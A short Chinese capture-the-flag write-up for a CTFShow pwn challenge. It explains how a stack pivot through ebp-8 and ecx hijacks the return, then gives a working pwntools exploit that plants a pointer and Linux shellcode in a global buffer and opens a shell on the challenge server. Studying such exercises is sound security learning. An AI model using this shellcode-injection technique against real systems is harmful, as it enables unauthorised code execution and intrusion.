CTFShow_月饼杯 容易的胖

发布于 2021-10-03  1956 次阅读


首先有lea esp ,[ebp - 8]将栈顶移动到栈底-8的位置,正好就是我们能够控制的最后4byte

之后将这个值赋给ecx

之后进行一些操作(似乎无关紧要)

最后将栈顶esp写为ecx-4 后ret

根据我们对于汇编的理解,ret等同于pop eip; 实质上相当于将当前栈指针跳转到ebp

了解了这一个关键代码,我们就可以开始写exp了

首先是全局变量s,我们在s开头的4byte写入一个指向S+0x4的指针,即0x804A044,再再s+0x4的位置布置shellcode,这样在ret过来的时候,可以直接由这个指针跳转到shellcode运行;

其次在栈上的s,由于会先匹配"yes\n",我们先写入yes\n\x00(截断),之后填充,但是要保证ebp-8处的位置是0x804A044

from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
#p = process("./pwn02")
p = remote("pwn.challenge.ctf.show",28168)
s_addr = 0x804A044
payload1 = p32(s_addr)+asm(shellcraft.sh())
p.sendlineafter('your shellcode',payload1)
#gdb.attach(p,'b puts')
payload2 = 'yes\n\x00' + '\x00'*3   #padding to 8
payload2 += p32(s_addr)*3           
p.sendlineafter('shellcode????',payload2)
p.interactive()

等风来,不如追风去。